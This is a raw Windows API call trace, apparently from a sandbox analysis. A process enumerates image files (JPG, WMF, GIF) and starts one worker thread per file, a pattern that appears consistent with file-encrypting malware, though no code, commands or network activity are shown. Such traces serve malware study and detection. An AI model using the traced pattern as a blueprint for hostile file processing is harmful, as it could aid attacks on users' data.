	[0236.869] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1
	[0236.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1630
	[0236.871] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.871] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1
	[0236.871] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1634
	[0236.873] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.873] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1
	[0236.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1638
	[0236.875] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.876] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1
	[0236.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x163c
	[0236.877] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.878] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1
	[0236.878] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1640
	[0236.880] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.881] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1
	[0236.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1644
	[0236.883] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.883] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1
	[0236.883] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1648
	[0236.886] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.887] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1
	[0236.887] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164c
	[0236.889] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.889] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1
	[0236.889] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1650
	[0236.891] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.892] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1
	[0236.892] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1654
	[0236.948] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.949] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1
	[0236.949] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1658
	[0236.951] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.952] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1
	[0236.952] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x165c
	[0236.954] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.955] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1
	[0236.955] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1660
	[0236.957] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.957] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1
	[0236.957] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1664
	[0236.959] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.960] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1
	[0236.960] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1668
	[0236.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.962] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1
	[0236.962] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x166c
	[0236.964] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.964] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1
	[0236.964] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1670
	[0236.966] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.967] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1
	[0236.967] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1674
	[0236.968] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.969] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1
	[0236.971] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1678
	[0236.973] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.974] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1
	[0236.974] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x167c
	[0236.976] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.977] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1
	[0236.977] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1680
	[0236.978] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.979] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1
	[0236.979] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1684
	[0236.981] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.982] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1
	[0236.982] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1688
	[0237.036] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.037] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1
	[0237.037] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168c
	[0237.040] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.041] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1
	[0237.041] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1690
	[0237.043] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.044] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1
	[0237.044] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1694
	[0237.046] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.047] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1
	[0237.047] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0237.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1698
	[0237.049] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
